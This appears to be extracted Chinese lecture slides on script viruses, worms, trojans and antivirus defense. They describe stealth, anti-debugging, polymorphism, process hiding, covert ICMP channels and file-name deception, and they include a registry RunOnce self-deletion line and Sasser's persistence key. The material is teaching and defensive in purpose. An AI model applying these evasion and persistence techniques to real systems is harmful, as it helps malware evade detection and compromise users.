脚本病毒及其关键技术 (3)引诱用户执行 (4)desktop.ini和folder.htt配合使用 主要办法是让用户产生错觉。如病毒发送附件时,采用双后缀文件名,使用户产生错觉。例如,使用文件名xxxx.jpg.vbs。由于默认情况下不显示后缀,所以这个双后缀文件被显示为xxxx.jpg,用户将其误认为是图片文件而去点击,执行了病毒程序。 (4)desktop.ini和folder.htt配合使用 desktop.ini和folder.htt可用以配置活动桌面,并用以自定义文件夹。如果用户的目录中含有着两个文件,并且病毒感染了folder.htt,则当用户进入该目录时,就会触发folder.htt中的病毒代码。 113

脚本病毒及其关键技术 6. VBS脚本病毒的弱点 (1)VBS脚本病毒的运行,往往要用到一个对象:FileSystemObject。 (2)VBS脚本病毒运行时需要其关联程序wscript.exe的支持。 (3)VBS代码要通过Windows Acript Host解释执行。 (4)通过网页传播的病毒需要ActiveX的支持。 (5)通过邮件传播的病毒需要OutlookExpress的自动发送邮件功能的支持。 这些弱点可以被用于病毒的防治。例如,禁用对象FileSystemObject 用regsvr32 scrrun.dll/u命令,或者直接查找scrrun.dll文件加以删除或改名)可以有防范作用。 114

计算机病毒技巧 计算机病毒也随着反病毒技术的发展不断演变、升级。下面是计算机病毒在技术方面的一些技巧。 1. 增强隐秘性 为了使病毒能长期潜伏,病毒就要增强自己的隐秘性。下面是几种增强隐秘性的技术。 (1)避开修改中断变量:早期的病毒程序都要直接修改中断服务子程序,以控制常用中断功能。因此,许多反病毒软件都对系统的中断向量表进行监视,一旦发现任何对系统内存中断向量表进行修改的操作,就会怀疑有病毒在活动。针对这一反病毒技术,病毒程序就要避免修改中断向量表时留下痕迹。 115

计算机病毒技巧 例如,有的病毒程序,改修改中断向量的控制方式为通过修改中断服务子程序,来获得系统控制权。一种方法是前面介绍过的通过修改COM文件首指针的方法修改中断服务程序,基本步骤为: 从中断向量表中动态获得中断服务子程序入口; 将该入口开始的3~5字节的指令内容保存到病毒体工作区; 修改原入口处的指令为转移指令,转向病毒的中断服务子程序入口; 执行完病毒子程序后,再转向正常的服务子程序入口。 116

计算机病毒技巧 (2)谋求在内存的合法性:早期的病毒程序一般驻留内存高端。因此,内存侦察是反病毒软件的首选技术。为躲避侦察,病毒程序可以采用下面的方法: 通过正常的内存申请进行合法驻留。如扬基病毒、DONG病毒等; 改驻留高端为驻留低端,如DIRII病毒。 (3)维持宿主程序的外特性:保持宿主程序的外特性不变,例如,CIH病毒采用碎洞攻击技术不增加宿主文件的长度。 (4)不使用明显的感染标志:早先,病毒只简单地根据某个标志来判断病毒是否已经存在,现在则要经过一系列相关运算来进行判断。 117

计算机病毒技巧 2. 采用抗分析技术 为了增加病毒分析的困难,病毒还采用了一些抗分析技术,例如: (1)降低代码的可读性; (2)采用加密技术,使分析者无法在病毒不执行的情形下阅读病毒程序。主要的加密技术有: 对程序段进行动态加密:采用边执行边解密的方法,使后面的机器码是与前面的机器码运算后还原形成,分析者即使用DEBUG等调试工具将病毒程序从头到尾打印出来,也是一堆乱码。 对宿主程序段进行加密。例如Chairman病毒将COM型宿主程序的前5个字节进行加密,转存到病毒体524H处开始的地方;而对EXE型宿主程序的文件头偏移0EH~08H的内容进行加密存放在病毒体偏移524H处开始的地方。 密钥不固定。 118

计算机病毒技巧 (3)采用反跟踪技术:为清除病毒,常常可以借助DEBUG等调试工具,对发现的病毒进行跟踪剖析。为了对付这种跟踪,病毒程序可以采用破坏中断向量的方法,如嵌入一些破坏单步中断INT 1H和中断点设置中断INT 3H的中断向量的程序段,使动态跟踪难以进行。 (4)自加密:例如新欢乐时光病毒可以随机地选取密钥,对自己的部分代码进行加密变换,并使每次感染的病毒代码不同。这给用特征法查毒带来一些困难。 (5)直接关闭反病毒软件:例如VBS病毒可以查看正在运行的进程,发现反病毒软件,就将之关闭。 119

计算机病毒技巧 3. 采用变形病毒技术 病毒在发展,网络在发展,网络又促进了病毒的发展,复杂的病毒又朝着变形病毒发展。采用变形技术的病毒是一种进化病毒(Evolutionary Virus)也称计算机病毒变体(Computer Virus Variance)。它们是在计算机系统运行过程中,可以将自身有修改地复制到其他程序体内的计算机病毒,形成来源于同一病毒而表象形式不同的计算机病毒系列。 按照变形病毒自身代码和结构在空间上、时间上具有的不同变化,可以将变形病毒简要划分为4类。 第一类变形病毒具备普通病毒所具有的基本特性。然而,病毒传播到一个目标后,自身代码与前一目标中的病毒代码几乎没有3个连续的字节相同。但这些代码的相对空间排列位置并不变动,所以也称一维变形病毒。有些一维变形病毒感染系统后,遇到检测时能够进行自我加密或脱密,或自我消失。有的列目录时能消失增加的字节数,或加载跟踪时,病毒能破坏跟踪或者逃之夭夭。 120

计算机病毒技巧 第二类变形病毒除了具备一维变形病毒的特性外,那些变化的代码相互间的排列距离(相对空间位置)也是变化的,所以也称二维变形病毒。某些二维变形病毒(如MADE-SP病毒等)能用某种不动声色特殊的方式或混杂于正常的系统命令中去修改系统关键内核,并与之融为一体,或干脆另创建一些新的中断调用功能。有的感染文件的字节数不定,或与文件融为一体。 第三类变形病毒具备二维变形病毒的特性,并且在分裂后能分别潜藏在几处,当病毒引擎被激发后再自我恢复成一个完整的病毒。病毒在附着体上的空间位置是变化的,即潜藏的位置不定。比如:可能一部分藏在第一台机器硬盘的主引导区,另外几部分也可能潜藏在几个文件中,也可能潜藏在覆盖文件中,也可能潜藏在系统引导区、也可能另开垦一块区域潜藏等等。而在下一台被感染的机器内,病毒又改变了其潜藏位置,通常也称为三维变形病毒。 121

计算机病毒技巧 第四类变形病毒具备三维变形病毒的特性,并且这些特性随时间动态变化。比如,在染毒的机器中,刚开机时病毒在内存里变化为一个样子,一段时间后又变成了另一个样子,再次开机后病毒在内存里又是一个不同的样子。往往这类病毒本身就是具有传播性质的“病毒生产机”,它们会在计算机内或通过网络传播时,将自己重新组合代码生成与前一个有些代码不同的变种新病毒,通常也称为:四维变形病毒。 四维变形病毒大部分具备网络自动传播功能,在网络的不同角落里到处隐藏。 122

蠕 虫 123

蠕虫的定义与特征 1982年,Xerox PARC的John F.Shoch等人为了进行分布式计算的模型实验,编写了称为蠕虫的程序。但是他们没有想到,这种“可以自我复制”,并可以“从一台计算机移动到另一台计算机”的程序,后来不断给计算机界带来灾难。1988年被Robert Morris释放的Morris蠕虫,在Internet上爆发,在几个小时之内迅速感染了所能找到的、存在漏洞的计算机。 人们通常也将蠕虫称为蠕虫病毒。但是严格地讲,它们并不是病毒。 124

蠕虫的定义与特征 下面讨论蠕虫与病毒之间的异同。 1. 存在的独立性 2. 传染的反复性 病毒具有寄生性,寄生在宿主文件中;而蠕虫是独立存在的程序个体。 2. 传染的反复性 病毒与蠕虫都具有传染性,它们都可以自我复制。但是,病毒与蠕虫的传染机制有三点不同: 病毒传染是一个将病毒代码嵌入到宿主程序的过程,而蠕虫的传染是自身的拷贝; 病毒的传染目标针对本地程序(文件),而蠕虫是针对网络上的其他计算机; 病毒是在宿主程序运行时被触发进行传染,而蠕虫是通过系统漏洞进行传染。 蠕虫是一种独立程序,所以它们也可以作为病毒的寄生体,携带病毒,并在发作时释放病毒,进行双重感染。 病毒防治的关键是将病毒代码从宿主文件中摘除,蠕虫防治的关键是为系统打补丁(patch),而不是简单地摘除。只要漏洞没有完全修补,就会重复感染。 125

蠕虫的定义与特征 3. 攻击的主动性 4. 破坏的严重性 计算机使用者是病毒传染的触发者,而蠕虫的传染与操作者是否进行操作无关,它搜索到计算机的漏洞后即可主动攻击进行传染。 4. 破坏的严重性 病毒虽然对系统性能有影响,但破坏的主要是文件系统。而蠕虫主要是利用系统及网络漏洞影响系统和网络性能,降低系统性能。例如它们的快速复制以及在传播过程中的大面积漏洞搜索,会造成巨量的数据流量,导致网络拥塞甚至瘫痪;对一般系统来说,多个副本形成大量进程,则会大量耗费系统资源,导致系统性能下降,对网络服务器尤为明显。 126

127

蠕虫的定义与特征 5. 行踪的隐蔽性 由于蠕虫传播过程的主动性,不需要像病毒那样需要计算机使用者的操作触发,因而基本不可察觉。 从上述讨论可以看出,蠕虫虽然与病毒有些不同,但也有许多共同之处。如果说,凡是能够引起计算机故障,破坏计算机数据的程序统称为计算机病毒。那么,从这个意义上,蠕虫也应当是一种病毒。它以计算机为载体,以网络为攻击对象,是通过网络传播的恶性病毒。 128

蠕虫的基本原理 1. 蠕虫程序的功能结构 一个蠕虫程序的基本功能包括传播模块、隐藏模块和目的模块三部分。 (1)传播模块 传播模块由扫描模块、攻击模块和复制模块组成。 扫描模块负责探测存在漏洞的主机。当程序向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就会得到一个可传播的对象。 攻击模块按照漏洞攻击步骤自动攻击已经找到的攻击对象,获得一个shell。获得一个shell,就拥有了对整个系统的控制权。对Win 2x来说,就是cmd.exe。 复制模块通过原主机和新主机的交互,将蠕虫程序复制到新主机并启动,实际上是一个文件传输过程。 (2)隐藏模块:侵入主机后,隐藏蠕虫程序,防止被用户发现。 (3)目的模块:实现对计算机的控制、监视或破坏等功能。 129

蠕虫的基本原理 2. 蠕虫程序的传播过程 蠕虫程序的一般传播过程为: (1)扫描:由蠕虫的扫描功能模块负责探测存在漏洞的主机。当程序向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就得到一个可传播的对象。 (2)攻击:攻击模块按漏洞攻击步骤自动攻击步骤1中找到的对象,取得该主机的权限(一般为管理员权限),获得一个shell。 (3)复制:复制模块通过原主机和新主机的交互将蠕虫程序复制到新主机并启动。 可以看到,传播模块实现的实际上是自动入侵的功能。所以蠕虫的传播技术是蠕虫技术的首要技术,没有蠕虫的传播技术,也就谈不上什么蠕虫技术了。 130

蠕虫的基本原理 3. 蠕虫的扫描机制 如前所述,蠕虫在扫描漏洞时,要发送大量的数据包,从而会引起网络拥塞,占用网络通信带宽。但是,这并不是蠕虫本身所希望的。实际上,蠕虫更希望隐蔽地传播。现在流行的蠕虫采用的传播原则是:尽快地传播更多的主机。根据这一原则,扫描模块采取的扫描策略是:随机选取一段IP地址,然后对这一地址段上的主机进行扫描。 差的扫描程序并不知道一段地址是否已经被扫描过,只是随机地扫描Internet,很有可能重复扫描一个地址段。于是,随着蠕虫传播的越广,网上的扫描包越多,即使探测包很小,但积少成多,就会引起严重的网络拥塞。 131

蠕虫的基本原理 扫描策略改进的原则是,尽量减少重复的扫描,使扫描发送的数据包尽量少,并保证扫描覆盖尽量大的范围。按照这一原则,可以有如下一些策略: (1)在网段的选择上,可以主要对当前主机所在网段进行扫描,对外网段随机选择几个小的IP地址段进行扫描。 (2)对扫描次数进行限制。 (3)将扫描分布在不同的时间段进行,不集中在某一时间内。 (4)针对不同的漏洞设计不同的探测包,提高扫描效率。例如: 对远程缓冲区溢出漏洞,通过发出溢出代码进行探测; 对Web CGI漏洞,发出一个特殊的HTTP请求探测。 132

蠕虫的基本原理 4. 蠕虫的隐藏手法 蠕虫为了不被发现,就要采用一些反检查技术,尽量隐藏自己。但是,隐藏技术有相当大的难度,需要大量了解反病毒软件和系统管理员的查毒手法。蠕虫的几种隐藏手法: (1)修改蠕虫在系统中的进程号和进程名称,掩盖蠕虫启动的时间记录。 此方法在Windows95/98下可以使用RegisterServiceProcess API函数使得进程不可见。但是,在Windows NT/2000下,由于没有这个函数,方法就要困难一些了:只能在psapi.dll的EnumProcess API上设置“钩子”,建立一个虚的进程查看函数。 (2)将蠕虫拷贝到一个目录下,并更换文件名为已经运行的服务名称,使任务管理器不能终止蠕虫运行。 这时要参考ADV API32.DLL中的OpnSCManagerA和CreateServiceA.API函数。 133

蠕虫的基本原理 (3)删除自己: 在Windows95系统中,可以采用DeleteFile API函数。 在Windows 98/NT/2000中,只能在系统下次启动时删除自己。比较好的方法是:在注册表中写一条: ”HKLM\SoftWare\MOROSOFT\WNDOWS\CurrentVetsion\RUNONCE%COMSPEC%/C DEL <PATH_TO_WORM\WORM_FILE_NAME.EXE 然后重新启动操作系统。 134

蠕虫举例 1. I_WORM.Blebla.B网络蠕虫 该病毒是通过电子邮件的附件来发送的,文件的名称是:xromeo.exe和xjuliet.chm,该蠕虫程序的名称由此而来。 当用户在使用OE阅读信件时,这两个附件自动被保存、运行。当运行了该附件后,该蠕虫程序将自身发送给Outlook地址簿里的每一个人,并将信息发送给alt.comp.virus 新闻组。该蠕虫程序是以一个E-mail附件的形式发送的,信件的主体是以HTML语言写成的,并且含有两个附件:xromeo.exe及xjuliet.chm,收件人本身看不见什么邮件的内容。 该蠕虫程序的危害性还表现在它还能修改注册表一些项目,使得一些文件的执行,必须依赖该蠕虫程序生成的在Windows目录下的SYSRNJ.EXE文件,由此可见对于该病毒程序的清除不能简单地将蠕虫程序删除掉,而必须先将注册表中的有关该蠕虫的设置删除后,才能删除这些蠕虫程序。 135

蠕虫举例 2. I_WORM/EMANUEL网络蠕虫 该病毒通过Microsoft的Outlook Express来自动传播给受感染计算机的地址簿里的所有人,给每人发送一封带有该附件的邮件。该网络蠕虫长度16896~22000字节,有多个变种。 在用户执行该附件后,该网络蠕虫程序在系统状态区域的时钟旁边放置一个“花”一样的图标,如果用户点击该“花”图标,就会出现一个消息框,大意是不要按此按钮。如果按了该按钮的话,会出现一个以Emmanuel为标题的信息框,当用户关闭该信息框时又会出现一些别的:诸如上帝保佑你的提示信息。 该网络蠕虫程序与其他常见的网络蠕虫程序一样,是通过网络上的电子邮件系统Outlook来传播的,同样是修改Windows系统下的主管电子邮件收发的wsock32.dll文件。它与别的网络蠕虫程序的不同之处在于它不断可以通过网络自动发送网络蠕虫程序本身,而且发送的文件的名称是变化的。 该病毒是世界上第一个可自我将病毒体分解成多个大小可变化的程序块(插件),分别潜藏计算机内的不同位置,以便躲避查毒软件。该病毒可将这些碎块聚合成一个完整的病毒,再进行传播和破坏。 136

蠕虫举例 3. I-Worm.Magistr网络蠕虫 这是一个恶性病毒,可通过网络上的电子邮件或在局域网内进行传播,发作时间是在病毒感染系统一个月后。该病毒随机在当前机上找一个.EXE或.SCR文件和一些.DOC或.TXT文件作为附件发出去。蠕虫会改写本地机和局域网中电脑上的文件,文件内容全部被改写,这将导致文件不能恢复。在Win 9x环境下,该蠕虫会像CIH病毒一样,破坏BIOS和清除硬盘上的数据,是危害性非常大的一种病毒。 该蠕虫采用了多变形引擎和两组加密模块,感染文件的中部和尾部,将中部的原文件部分代码加密后潜藏在蠕虫体内。其长为24000~30000字节,使用了非常复杂的感染机制,感染.EXE、.DLL、.OCX、.SCR、.CPL等文件;每传染一个目标,就变化一次,具有无穷次变化,其目的是使反病毒软件难以发现和清除。目前,该蠕虫已有许多变种。 137

蠕虫举例 4. SQL蠕虫王 SQL蠕虫王是2003年1月25日在全球爆发的蠕虫。它非常小,仅仅只有376字节,是针对Microsoft SQL Server 2000的蠕虫,利用的安全漏洞是“Microsoft SQL Server 2000 Resolution 服务远程缓冲区溢出”漏洞,利用的端口是SQL Server Resolution服务的UDP 1434。 Microsoft SQL Server 2000可以在一个物理主机上提供多个逻辑的SQL服务器的实例。每个实例都可以看做一个单独的服务器。但是,这些实例不能全都使用标准的SQL服务对话端口(TCP 1433),所以QL Server Resolution服务会监听UDP 1434端口,提供一种特殊的SQL服务实例的途径,用于客户端查询适当的网络末端。 当SQL Server Resolution服务在UDP 1434端口接收到第一个字节设置为0x04的UDP包时,SQL监视线程会获取UDP包中的数据,并使用用户提供的该信息来尝试打开注册表中的某一键值。利用这一点,攻击者会在该UDP包后追加大量字符串数据。当尝试打开这个字符串对应的键值时,会发生基于栈的缓冲区溢出。蠕虫溢出成功取得系统控制权后,就开始向随机IP地址发送自身。 138

蠕虫举例 5. 震荡波 震荡波(Worm.Sasser)是一种长度为15872字节的蠕虫,它依赖于Windows NT/2000/XP/Server2003,以系统漏洞为传播途径。震荡波的传播过程: (1)拷贝自身到系统目录(名为%WINDOWS%\avserve2.exe,15872字节),然后登记到自启动项: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run avserve2.exe = %WINDOWS%\avserve2.exe (2)开辟线程,在本地开辟后门:监听TCP 5554端口(支持USER、PASS、PORT、RETR和QUIT命令)被攻击的机器主动连接本地5554端口,把IP地址和端口传过来。本线程负责把病毒文件传送到被攻击的机器。 139

蠕虫举例 (3)开辟128个扫描线程。以本地IP地址为基础,取随机IP地址,疯狂地试探连接445端口:如果试探成功,则运行一个新的病毒进程对该目标进行攻击,把该目标的IP地址保存到“c:\win2.log”。 (4)利用Windows的LSASS 中存在一个缓冲区溢出漏洞进行攻击。一旦攻击成功,会导致对方机器感染此病毒并进行下一轮的传播;攻击失败也会造成对方机器的缓冲区溢出,导致对方机器程序非法操作,以及系统异常等。由于该病毒在lsass.exe中溢出,可以获取管理员的权限,执行任意指令。 (5)溢出代码会主动从原机器下载病毒程序,运行起来,开始新的攻击。 140

木 马 141 返回

木马程序及其类型 1. 木马程序概述 古希腊诗人荷马(Homer)在其史诗依利雅得(The Iliad)中,描述了一个故事:希腊王的王妃海伦被特洛伊(Troy)的王子掠走,希腊王在攻打Troy城时,使用了木马计(the stratagem of Trojan horse),在巨大的木马内装满了士兵,然后假装撤退,把木马(Trojan horse)留下。特洛伊人把木马当作战利品拉回特洛伊城内。到了夜间,木马内的士兵,钻出来作为内应,打开城门。希腊王得以攻下特洛伊城。此后,人们就把特洛伊木马作为伪装的内部颠覆者的代名词。 RFC1244(Request for Comments:1244)中,关于Trojan(特洛伊木马)程序的定义是:特洛伊木马程序是一种程序,它能提供一些有用的或者令人感兴趣的功能。但是还具有用户不知道的其他功能,例如在用户不知晓的情况下拷贝文件或窃取密码。简单地说,凡是人们能在本地计算机上操作的功能,木马基本上都能实现。 142

木马程序及其类型 2. 基于动作的木马程序类型 根据木马程序对计算机的动作方式,木马程序可以分为如下几种类型。 (1)远程控制型 远程控制型是木马程序的主流。所谓远程控制就是在计算机间通过某种协议(如TCP/IP协议)建立起一个数据通道。通道的一端发送命令,另一端解释并执行该命令,并通过该通道返回信息。简单地说,就是采用Clint/Server(客户机/服务器,简称C/S)工作模式。 采用C/S模式的木马程序都由两部分组成:一部分称为被控端(通常是监听端口的Server端),另一部分被称为控制端(通常是主动发起连接的Client端)。被控端的主要任务是隐藏在被控主机的系统内部,并打开一个监听端口,就像隐藏在木马中的战士,等待着攻击的时机,当接收到来自控制端的连接请求后,主线程立即创建一个子线程并把请求交给它处理,同时继续监听其他的请求。控制端的任只是发送命令,并正确地接收返回信息。 这种类型的木马,运行起来非常简单,只要先运行服务端程序,同时获得远程主机的IP地址,控制者就能任意访问被控制端的计算机,从而使远程控制者在本地计算机上做任意想做的事情。 143

木马程序及其类型 (2)信息窃取型 (3)键盘记录型 (4)毁坏型 信息窃取型木马的目的是收集系统上的敏感信息,例如用户登陆类型、用户名、口令、密码等。这种木马一般不需要客户端,运行时不会监听端口,只悄悄地在后台运行,一边收集敏感信息,一边不断检测系统的状态。一旦发现系统已经连接到Internet上,就在受害者不知情的情形下将收集的信息通过一些常用的传输方式(如电子邮件、ICQ、FTP)把它们发送到指定的地方。 (3)键盘记录型 键盘记录型木马只做一件事情,就是记录受害者的键盘敲击,并完整地记录在LOG文件中。 (4)毁坏型 毁坏型木马以毁坏并删除文件(如受害者计算机上的.dll、.ini或.exe)为主要目的。 144

木马程序及其类型 3. 木马程序的特征 木马是一种危害性极大的恶意程序。它可以窃取数据,篡改、破坏数据和文件,释放病毒,执行远程非法操作者的指令,甚至可以使系统自毁。它的特征: (1)非授权性与自动运行性:一旦控制端与服务端建立连接后,控制端将窃取用户密码,获取大部分操作权限,如修改文件、修改注册表、重启或关闭服务端操作系统、断开网络连接、控制服务端鼠标和键盘、监视服务端桌面操作、查看服务端进程等。这些权限不是用户授权的,而是木马自己窃取的。 (2)隐藏性和欺骗性:隐藏是一切恶意程序的存在之本。而木马为了获得非授权的服务,还要通过欺骗进行隐藏。 (3)可预置性:木马程序可以在系统软件和应用软件的文件传播中被人置入,也可以在系统或软件设计是被故意放置进来。例如某操作系统在设计时故意放置了一个木马程序,可以将客户的相关信息发回到其总部。 (4)非自繁殖性与非自动感染性。一般说来,病毒具有极强的传染性,而木马虽然可以传播,但本身不具备繁殖性和自动感染的功能。 145

木马程序的关键技术 1. 木马的传播形式 木马的传播都是先进行伪装或改头换面(如利用exe文件绑定将木马捆绑在小游戏上,或将木马的图标直接改为html,txt,jpg等文件的图标),然后进行传播。木马的几种传播形式: (1)手工放置:手工放置比较简单,是最常见的做法。手工放置分本地放置和远程放置两种。本地安装就是直接在计算机上进行安装。远程安装就是通过常规攻击手段使获得目标主机的上传权限后,将木马上传到目标计算机上,然后通过其他方法使木马程序运行起来。 (2)以邮件附件的形式传播:控制端将木马改头换面后,然后将木马程序添加到附件中,发送给收件人。 (3)通过QQ对话,利用文件传送功能发送伪装了的木马程序。 (4)将木马程序捆绑在软件安装程序上,通过提供软件下载的网站(Web/FTP/BBS)传播。 (5)通过病毒或蠕虫程序传播。 (6)通过磁盘或光盘传播。 146

木马程序的关键技术 2. 木马的隐藏与欺骗技术 (1)进程隐蔽 服务器端想要隐藏木马,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让它消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。 147

木马程序的关键技术 伪隐藏的方法比较简单。在Windows9x系统中,只要把木马服务器端的程序注册为一个服务(在后台工作的进程)就可以了。这样,程序就会从任务列表中消失,因为系统不再认为是一个进程,当按下Ctrl+Alt+Delete的时候,也就看不到这个进程。对于Windows NT,Windows 2000等,通过服务管理器,则要使用API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。 当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程特征,也不应该具备服务特征,即它完全溶进了系统的内核。因此可以不把它做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果, 148

木马程序的关键技术 (2)伪装成图像文件 (3)伪装成应用程序扩展组件 (4)错觉欺骗 (5)合并程序欺骗 即将木马图标修改成图像文件图标。 将木马程序写成任何类型的文件(如dll,ocx等),然后挂在十分出名的软件中。因为人们一般不怀疑这些软件。 (4)错觉欺骗 利用人的错觉,例如故意混淆文件名中的1(数字)与l(L的小写)、0(数字)与o(字母)或O(字母)。 (5)合并程序欺骗 合并程序就是将两个或多个可执行文件结合为一个文件,使这些可执行文件能同时执行。木马的合并欺骗就是以合并程序的方式将木马绑定到应用程序中。 149

木马程序的关键技术 3. 程序的自加载运行技术 在受害系统中驻留的木马程序应当具有自加载启动运行功能。让程序自运行的方法比较多。最常见的方法是对Windows系统注册表、win.ini文件、system.ini文件或启动组文件进行修改。 150

木马程序的关键技术 4. 木马程序建立连接的隐藏 木马程序的数据传递方法有很多种,通常是靠TCP、UDP传输数据。这时可以利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,例如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。为了躲避这种侦察,可以采用多种方法,例如合并端口法和使用ICMP(Internet Control Message Protocol)协议进行数据的发送的方法。 合并端口是在一个端口上同时绑定两个TCP或者UDP连接,通过把自己的木马端口绑定于特定的服务端口(比如80端口的HTTP)之上从而达到隐藏端口的目地。 使用ICMP协议进行数据的发送的方法,是通过修改ICMP头的构造,加入木马的控制字段。这样的木马,具备很多新的特点,如不占用端口,使用户难以发觉;使用ICMP可以穿透一些防火墙,从而增加了防范的难度。 151

木马程序的关键技术 5. 发送数据的组织方法 为了避免被发现,木马程序必须很好地控制数据传输量,例如把屏幕画面切分为了多个部分,并将画面存储为JPG格式,使压缩率变高,使数据变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0。 152

病毒对抗技术 153

基本概念 狭义的计算机病毒对抗,是指通过建立合理的计算机病毒防范体系和制度,及时发现计算机病毒侵入,并采取有效的手段阻止计算机病毒的传播和破坏,恢复受影响的计算机系统和数据。简单地说,查、防、解、恢复,是计算机病毒防范的四大法宝。广义的计算机病毒对抗还涉及使用病毒作为武器的相互攻击和防御。 防毒是指根据系统特性,采取相应的系统安全措施预防病毒侵入计算机。 查毒是指对于确定的环境,能够准确地报出病毒名称,该环境包括,内存、文件、引导区(含主导区)、网络等。 解毒是指根据不同类型病毒对感染对象的修改,并按照病毒的感染特性所进行的恢复。该恢复过程不能破坏未被病毒修改的内容。感染对象包括:内存、引导区(含主引导区)、可执行文件、文档文件、网络等。 恢复是对被病毒破坏了的文件以及系统进行恢复。 此外,病毒防范还涉及病毒免疫和法制管理。 154

计算机病毒的预防 计算机病毒防治,要采取预防为主的方针。下面是一些行之有效的措施。 1. 对新购置的计算机硬软件系统进行测试 新购置的计算机软件也要进行计算机病毒检测。有些软件厂商发售的软件,可能无意中已被计算机病毒感染。就是正版软件也难保证没有携带计算机病毒。因此,只要条件许可,就要进行病毒检测:用软件工具检查已知计算机病毒,用人工检测方法检查未知计算机病毒,并经过证实没有计算机病毒感染和破坏迹象后再使用。 2. 单台计算机系统的安全使用 在一台计算机中使用在其他计算机中用过的移动存储器时,应当先进行病毒检测。对重点保护的计算机系统应做到专机、专盘、专人、专用。封闭的使用环境中是不会自然产生计算机病毒的。 155

计算机病毒的预防 3. 计算机网络的安全使用 对于网络计算机系统,除了要首先保证自己使用的计算机的安全外,还应采取下列针对网络的防杀计算机病毒措施: (1)安装网络服务器时,应保证没有计算机病毒存在,即安装环境和网络操作系统本身没有感染计算机病毒。 (2)在安装网络服务器时,应将文件系统划分成多个文件卷系统(至少划分成操作系统卷、共享的应用程序卷和各个网络用户可以独占的用户数据卷),以有利于维护网络服务器的安全稳定运行和用户数据的安全。这样,一旦系统卷受到某种损伤,导致服务器瘫痪,就可以通过重装系统卷,恢复网络操作系统,使服务器又马上投入运行,而装在共享的应用程序卷和用户卷内的程序和数据文件不会受到任何损伤。如果用户卷内由于计算机病毒或使用上的原因导致存储空间拥塞时,系统卷不会受影响,不会导致网络系统运行失常。这种划分还十分有利于系统管理员设置网络安全存取权限,保证网络系统不受计算机病毒感染和破坏。 (3)一定要用硬盘启动网络服务器,否则在受到引导型计算机病毒感染和破坏后,遭受损失的将不仅仅是一台个人计算机,而会影响到整个网络的中枢。 156

计算机病毒的预防 (4)为各个卷分配不同的用户权限。将操作系统卷设置成对一般用户为只读权限,屏蔽其它网络用户对系统卷除读和执行以外的所有其它操作,如修改、改名、删除、创建文件和写文件等操作权限。应用程序卷也应设置成对一般用户是只读权限的,不经授权、不经计算机病毒检测,就不允许在共享的应用程序卷中安装程序。保证除系统管理员外,其它网络用户不可能将计算机病毒感染到系统中,使网络用户有一个安全的联网工作环境。 (5)在网络服务器上必须安装真正有效的防杀计算机病毒软件,并经常进行升级。必要的时候还可以在网关、路由器上安装计算机病毒防火墙产品,从网络出入口保护整个网络不受计算机病毒的侵害。在网络工作站上采取必要的防杀计算机病毒措施,可使用户不必担心来自网络内部和网络工作站本身的计算机病毒侵害。 (6)不随便直接运行或直接打开电子函件中夹带的附件文件,不要随意下载软件,尤其是一些可执行文件和Office文档。即使下载了,也要先用最新的防杀计算机病毒软件来检查。 157

计算机病毒的预防 4. 重要数据文件要有备份 (1)硬盘分区表、引导扇区等的关键数据应作备份并妥善保管,以便在进行系统维护和修复工作时作为参考。 (2)重要数据文件定期进行备份工作。不要等到由于计算机病毒破坏、计算机硬件或软件出现故障,使用户数据受到损伤时再去急救。 158

计算机病毒的预防 5. 强化安全管理 (1)系统管理员的口令应严格管理,不使泄漏,不定期地予以更换,保护网络系统不被非法存取,不被感染上计算机病毒或遭受破坏。 (2)应用程序软件的安装,应由系统管理员进行或由系统管理员临时授权进行,保护网络用户使用共享资源时总是安全无毒的。 (3)系统管理员对网络内的共享电子函件系统、共享存储区域和用户卷应定期进行计算机病毒扫描,发现异常情况及时处理。条件许可,还应在应用程序卷中安装最新版本的防杀计算机病毒软件供用户使用。 (4)网络系统管理员应做好日常管理事务的同时,还要拟订应急措施,及时发现计算机病毒感染迹象。一旦出现计算机病毒传播迹象,应立即隔离被感染的计算机系统和网络,并进行处理。不应当带毒继续工作下去,要按照特别情况清查整个网络,切断计算机病毒传播的途径,保障正常工作的进行。 由于技术上的计算机病毒防治方法尚无法达到完美的境地,难免会有新的计算机病毒突破防护系统的保护,传染到计算机系统中。因此对可能由计算机病毒引起的现象应予以注意,发现异常情况时,不使计算机病毒传播影响到整个网络。 159

计算机病毒的预防 6. 防范体系与规范建设 计算机病毒防范工作,首先是防范体系的建设和制度的建立。没有一个完善的防范体系,一切防范措施都将滞后于计算机病毒的危害。 计算机病毒防范体系的建设是一个社会性的工作,不是一两个人、一两家企业能够实现的,需要全社会的参与,充分利用所有能够利用的资源,形成广泛的、全社会的计算机病毒防范体系网络。 计算机病毒防范制度是防范体系中每个主体都必须的行为规程,没有制度,防范体系就不可能很好地运作,就不可能达到预期的效果。必须依照防范体系对防范制度的要求,结合实际情况,建立符合自身特点防范制度。 160

